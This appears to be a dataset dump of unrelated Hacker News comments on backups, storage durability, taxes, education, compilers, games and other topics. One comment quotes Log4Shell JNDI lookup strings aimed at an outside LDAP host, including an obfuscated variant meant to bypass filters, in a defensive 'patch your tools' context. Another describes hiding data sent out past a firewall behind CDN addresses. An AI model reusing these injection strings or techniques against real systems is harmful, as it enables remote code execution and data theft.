skysight-inc/HackerNews huggingface dataset:
Wow, that engineer just... "doesn't get it".

He doesn't understand the fundamentals of the problem he's solving, and is actively writing code that basically puts tools down and starts shouting "EVERYONE STOP!" in response to expected scenarios.

Most filesystems provide no guarantees at all by default on writes. NTFS journals metadata writes, but not data writes. Append-only files are absolutely expected to be truncated. The application must deal with this either by being insensitive to rollback, or by explicitly requesting a write cache flush! This is very well known to anyone that has ever written any kind of write-ahead-log, database engine, etc... There's a bazillion articles about how this is intended behaviour and no amount of screaming and shouting will make it go away. Learn the storage API guarantees, or STOP writing code that has critical dependencies on storage!

This quote especially seemed childish and immature to me:

> "And this one makes me actively angry, because both Microsoft and Apple will happily throw away portions of your files and not tell you about it"

No, this is NOT Microsoft's or Apple's fault. It is 100% HIS fault for not understanding what's going on. Even if a file flush is correctly requested, consumer HDD and SSD drives are well known to ignore this and keep things in volatile RAM cache to boost their IOPS numbers at the expense of durability. Only "enterprise" drives honour this API properly, and even then there are corner-cases around things like 512/4K sectors and torn writes. Similarly, consumer drives don't have power protection, so partial sector writes are entirely possible and should be expected if they lose power mid-write, or just crash at an inopportune time.

To be more constructive: The correct thing to do is that a log writer must always end log writes with a checksum of some sort. If the log is truncated (for any reason!), then it must recover starting from the last-known-good checksum. Throwing your hands up and saying "NO MORE BACKUPS FOR YOU! EVER!" is not the right response. Retrying backups from the last-known-good point automatically is the correct response.

PS: Some of his other rants are also a lack of understanding of thread safety and/or the lack of ECC RAM in consumer-grade PCs causing random misbehaviour. Heck, you'd also have to deal with bad sectors, corrupt filesystems, and a bunch of other corner cases that just makes this guy scream and shout instead of writing robust code...

PPS: I just realised that the reddit post is by 'CTO and Founder of Backblaze'. Wow. Note to self, do not use Blackbaze for anything, ever. If the CTO is this clueless, then their products can't be trusted.
In the long run, having lower taxes from not paying for other peoples' educations is cheaper for you and for anyone with a useful degree.

I will take the example of my friend. He's at a no name company as a new grad software engineer making $96k. That is, he's working at a position attainable to everyone. That's $8000/mo pre-tax and he lives in a fairly LCoL area. $1000/mo for 5-8 years is peanuts compared to the extra taxes he'd pay for a lifetime under your idea.

If you consider it from the perspective of someone working at FAANG ($200k new grad salary) $1k/mo is even more trivial.
Nostalgic days of pirating file explorers like XYplorer
A world without mobility is one without agency...and humanity has been defined by agency. Without it, we might as well not exist, not as humans anyway.
I think their point is that they should have a loss in the first place.
C’mon Walter. You can’t really compare a class at Caltech, of all places, to an inner city classroom.
Thanks, that rsync.net Borg plan looks like a great deal.
Social mobility is really hard to measure, but all else equal, I think America is the best place in the world for a poor person to become filthy rich (top 0.1%) but not the best place in the world for a poor person to simply transition to middle/upper class.
https://archive.md/URif7
Gray hair is finally showing up with the beard, which definitely ages him.
Thanks!

Re 2nd statement, this is a true, but it fulfils the wrong goal and has a wrong implication. I'm not trying to "find a romantic partner fast", I'm looking to find a compatible partner, and I don't think the strategy you proposed is a good one for the traits I'm looking for. Also, it seems like you're suggesting to do that instead of posting a public profile instead of in addition, so, for the explanation to be complete, it's insufficient to say why your proposed approach is good, and also requires to say why my proposed approach is bad.
The lockup for employees/former employees was different here. Executives had the 6 month lockup. Former employees who bought options were not supposed to be subject to any lockup. And current employees had no lockup, I believe until the end of the year, and then a lockup would be in place until the first quarter results or something (not sure how how many weeks they have to sell before they can’t ahead of an earnings drop, but I read that in other coverage of this mess).

The issue isn’t about lockup, it’s about share conversion and the fact that the company hired to do it didn’t get anyone the right information — some people didn’t get information at all — and once employees did get the correct information, printer or not, they can’t get in touch with the company, can’t get questions answered, and even if they’ve submitted paperwork, still don’t have the ability to sell their shares five days in.

I agree the printer excuse is dumb. You can find a printer for something worth potentially thousands of dollars. But the core complaints are valid. And this isn’t about lockup. It’s about poorly done share conversions.
The Talos Principle is really one of the best puzzle games I've played. It scratched the same itch for me that Portal did.
Yeah, the title made me think it is about a neural interface like Emotiv
Something to keep in mind when microbenchmarking virtual calls is that compilers will happily devirtualize them whenever possible.
Thanks for sharing; I'll reflect on this
Playstation 5 Was Built
I think there will have to be a NYC mode
Reminds me of that Netflix show Clickbait. The more views the more it kills the site.
IME it is vastly more robust to use your backup client of choice (eg Duplicati) wrapping Backblaze B2, their S3 competitor. As a bonus it becomes much easier to migrate to or from them once your data is accessible in an open API, particularly when you have limited local upload bandwidth like a lot of US cable internet customers.
At one point when my son was young and not doing well in school we had him tested. We were told he was a kinesthetic learner. At about that time he was getting into skateboarding. When he grew up he became a brilliant skateboarder who is well known for it in our hometown. He put as much thought into learning a new trick as I put into solving a programming problem. He still doesn't like school.

https://en.wikipedia.org/wiki/Kinesthetic_learning
This only happens on Windows, on *nix systems these are all pointing to `clang-<version>`
Can confirm this also:

${jndi:ldap://45.155.205.xxx:12 344/Basic/Command/Base64/<base64>}

> Patch your tools, folks. If you can't do that, modify your ingress services and have them filter out stuff like this.

Note that the filtering may not work, I am already seeing some variations of mitigation by the attackers:

${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://45.155.205.xxx:12344/Basic/Command/Base64/<base64>
Thanks for your support^_^
Love the landing page, what did you use to build it?
Buzzfeed is not facebook and expecting a rebound is like waiting for a blockbuster revival.
What I found interesting is that the playstation's users are games developers, not gamers. The console needs features for the developers of games.
Someone just mentioned this post to me -- thanks for sharing @amin ^_^
I agree with you. I think they have made significant progress on the valley, and I personally feel, it's not something that moves. The uncanny valley was a particular place the technologies came to, where people specifically, were reminiscent of a talking mannequin, with the dead eyes of a shark. I feel like a lot of that is gone, but when watching the fully-rendered car chase, the overall impression was simply of a really good game, so progress, but still not reality.
Thanks very much for your response. Just one thing I wanted to comment on was your opening sentence, "There are enough places where these topics can be discussed." I don't really agree with that.

The reason I asked my question in the first place was specifically because wherever else these topics are discussed, they are even exponentially more of a shit show than when they are discussed on HN. I wanted to see if there were any suggestions on getting HN-quality debate, but on more sensitive topics.

And the general consensus from responses is, basically, "no". And that consensus actually made me arrive at a fundamental conclusion I think: That it is indeed impossible to have a respectful debate on sensitive topics if commenting is pseudo-anonymous and open-ended.

Thus, I guess it may sound dumb, but it just clicked for me that it actually makes a lot of sense. It's difficult enough having discussions about sensitive topics when done in a face-to-face manner with people that have mutual trust - why should we think it's possible to have these conversations with faceless strangers on the Internet without it turning into a cesspool?
are you aware of issues around MEV? and how it will centralize further with proof of stake and with staking derivatives?
No, actually. And your incredulous doubling-down is, well, making it more obvious that you seem to be missing the point.

If they're 99% the same, it's generously easy to assume that there's a material difference. That assumption is completely nonsensical if they're 100% identical.

So no, for the sake of every bit of context in this conversation, it does not make sense that you'd bring up an unrelated scenario of "similar" binaries.
You haven't worked enough shit jobs if you think that un-"moneyed" plebs aren't similarly willing to fuck someone else over if it means they have the opportunity to three-quarters-ass their work and leave the rest to a coworker who they are on a first-name basis with and is otherwise friendly to them.

"IDGAF, it's not me" and "ask for forgiveness, not permission" is not in any sense a minority viewpoint. Even people who insist they don't follow those creeds have the issue of being, more often than not, unreliable narrators of their own actions—not to mention: economically irrational in ways that extend to the economics of non-monetary, give-and-take systems.
Used to be a new father; can confirm. Women who would not pay attention to me without a baby would stop me on the street to coo over a babe in arms.
Red tape in the medical trials domain is forged from blood.

Human experimentation is limited and carefully managed for very good reasons. Killing people to extend other people's lives is not a good tradeoff.
I think that the intended meaning of "sustainable" in this case is that it is a form of fuel which is not fossil but renewable, and that it has neutral carbon balance.
Not really, all I did was question the OP scoffing that an 150k salary is not a lot of money. My mother is a public school teacher.
I’ve certainly been insane before and feel no offense by the parent comment. Simply linking this gist without an explanation of why you are or why you disagree seems like you cannot defend your opinion but with just a link to someone else’s opinion.

Again I feel no offense. You aren’t helping mental health (or anything for that matter) trying to censor language that is in no way malevolent in its usage.
Hah, good luck paying for living expenses in the Bay Area with that kind of money. $1100 will get you a shack built in the 1920's with 3 roommates and drug addicts at your front door.
14 Reasons You Can't Cash Out the Stock You Wanted To. #7 Will Shock You!
> This (the measuring, at least) is mostly a solved problem.

I disagree. I’m familiar with the world happiness report. I don’t think that would be an adequate measurement to replace GDP with.
My my. The author seems to be frothing at the mouth.

Guess what. A private organization has every right to hire anyone to any position based on any criterion. If the organization becomes less effective at their mission due to such hiring, well, that's their own choice. If some member of the public disagrees with that choice, then simply don't patronize that organization.

I think it's a worthwhile goal to expand the audience for classical music beyond white Europeans and Asians. If that means hiring people of other ethnic origins, and perhaps not hiring some talented white or Asian person, I would think the person not hired has ample opportunity elsewhere. Other ethnicities, not so much.
Dominated the world for the tiniest sliver of human civilization. Asia is coming back strong again.
There is a reason: the majority of the file size comes from statically linked LLVM libraries.

You can instead configure LLVM’s build system to build a single dynamic library and have the tools link to it, and this eliminates all of the duplication. However, it apparently comes with a “substantial performance penalty” [1] due to the nature of dynamic linking. (This actually surprises me, and I wonder whether it’s only referring to the inability to do LTO, or whether even LTO-less static linking is faster. Aside from the startup time issue.)

A theoretical alternative would be to build all of the tools into a single executable, à la Busybox, where the combined executable would inspect argv[0] to figure out which tool’s code should be run. That way you could statically link the LLVM libraries without duplicating them in multiple executables. LLVM’s build system does not support this. I think it would be nice if it did, but it would be nontrivial to implement.

[1] https://llvm.org/docs/BuildingADistribution.html
Digression: Is it true that every single watt my CPU/server/electronics consume is ultimately turned into heat?

To put it another way, does a server under a constant 500W produce the exact same amount of heat as a dumb 500W electric space heater? Excluding things like the tiny amount of energy that gets sent out on CAT5 cables, which I believe still gets turned into heat just elsewhere.

I think this is true, but it’s still counterintuitive. Makes me think there’s something more useful we could make electric space heaters do with their energy and still produce the same amount of heat.
"to rubble" is a reasonable guess but chopping off a piece of the building is also a plausible interpretation.

And actually, looking at the right images, that might be more the more accurate interpretation. It seems like the warehouse was big enough that half of it is intact.
even your L1 is 70% hosted nodes , why not just run an api on a trusted company's servers that verifies your balances using pub/priv keys and signatures

you guys are up for rude awakening when this rube goldberg machine bricks
If you want your fellow citizens, workers, doctors, etc. to all be morons, then I'd say paying teachers poorly is a good way to go about it.

It's also a good way for a country to fall behind.
I don't buy that there's any evidence that a school with "resources" does a better job educating than a motivated teacher with a blackboard.

Heck, hands-down the best calculus lesson I ever had was a one-on-one with a prof and a blackboard.

I suppose it's like running. No technology can make you a better runner than a good coach and a desire to run.

P.S. note that colleges compete on "resources" all the time. But that simply isn't what matters. It's the prof, the blackboard, and the student. Facilities don't matter. Sports programs don't matter. Landscaping doesn't matter. Luxury dorms don't matter.
I have 3.5TB backed up to Backblaze for $5 a month. I haven't found any other online backup option that provides anywhere near that cost.

I use a RAID 1 to handle drive failure and also keep local backups on a NAS. BB is my third layer of backup. I've never run into issues with BB backups so I'm happy for what I get for the price.
It’s not implying anything. That is literally how taxes work. See income taxes: A compensatory agreement between employer and employee is I pay you $X for work. The government then levies a percentage of that money for itself. You can see that on your paystub. You’re not paid $X and an amount equal to a percentage of $X is then donated to the government, that percentage comes directly from your compensation.

It’s a revenue stream for governments, sure, but how much revenue a government needs is determined by what policies a government has in place, their obligations to pay employees and officers, and what additional services the government offers. The politics is all around that stuff, but a tax is still a taking of the money that someone else earned to pay for all that, including to pay public employees.
Hertz customers arrested, jailed and held at gunpoint after false theft reports
History of PTSD and Shell Shock (2017/2018)
The point is about inalienable rights. Would you agree that there are inalienable rights?
it needs to be significantly more than just hostname / IP / DNS.

a common attack i see for exfil behind FW is to sign up for a free account on heroku, fastly, cloudflare, etc so that your outbound destination is to a "good" IP. you can resolve api.legitimatecompany.example and then send the actual request to that IP (which is a CDN), with an encrypted Host: header of your own endpoint, for example.
Computers were able to work without internet since i was a kid. That's how me and my friends used them without any problem. Using the airgap word you are making it a new special setup that needs some special steps, some programs will not work etc. It's not a feature.

Saying people prefer one to another hides the fact that they were not given any other option. People will choose whatever default is given and then we may say they everyone prefers that. Or just make the other option (which was normal before) complicated so that nobody wants that now.
Like I said, if Apple isn’t using forced labor then Apple shouldn’t be worried about the bill.
> Walking through a city, you might have 100 NPCs on the screen at once, who all have hair.

This is why I'm most excited for high-core counts leading to game development that allows these kinds of things to run in their own hardware threads. Imagine a world where each of those 100 NPCs has hair simulated on one thread, clothing simulated in another, world interaction on another, even AI generation on its own thread.

It's crazy just looking 10-20 years back and seeing where we are today. Compare this tech demo to Skyrim (2011) or GTA III (2001) and it's just incredible that we're looking at photorealistic, ray-traced, real-time "gameplay" like this on a home video game console. Or just compare GPU specs, the GeForce3 (2001), GTX 580 (2011), and RTX 3090 (2021) all have texture fill rates of 1.92, 49.41, and 556.0 GTexel/s respectively, with similar increases in raw floating-point performance. The future is exciting.
Very well then. I will complain.

These people are underpaid. We have every right to expect the best in these positions, why are we not paying for it?
The reason customers are struggling with MTU-based billing is because that’s “your world/your problem” language.

Bill them by terms and items in “their world/their problem” language. Customer profiles, customer records, data records, or whatever makes sense to them.

When they ask you “what’s an MTU?!” take the words you use to explain it and consider billing on that instead. They’re not using you to store/produce MTUs; they’re using you to better connect with their customers.

You also don’t need to go full utility pricing (where if they do nothing, they pay nothing). Tiered approaches to billing give you and them more certainty and removes a bit of friction from the initial interaction. “Up to 25K user profiles and 1000 email events (additional emails $10 per 1000)” might be more customer-friendly language.

You can have customers that you lose money on if they have exactly the perfectly wrong shape of data for a while. Just make it easy and make sure you have a path to being profitable on the aggregate.
Fast and simple Node.js version manager, built in Rust
> immortal ruler

term limits.

what I'm trying to say (besides that the Takeshi Kovacs trilogy is aweeeesome!) is that these problems are already here, and are already solvable. regular dictators consolidate their power in a 5-10 years. corporations/memes/ideologies/religions are already immortal. and so on, and so on.

aging and death is basically a disease of the poor. the solution is not more aging/death, but less poverty.
I used the free trial mechanism to play around with the site a little bit more in depth. Very clean all around and super intuitive to use. At the moment I have nothing to contribute to the site as in courses (at least at for the near future), but for others interested:

What will the Code playground block be for (compilation?, interpretation? of code?).

I see playground and sandbox to be very similar, so it might be beneficial to change CodeSandbox to CodeEditor in the future.

In terms of flexibility, have you thought about allowing non-YouTube video links within the course material (Vimeo or otherwise)?
Teams and Azure Data Studio.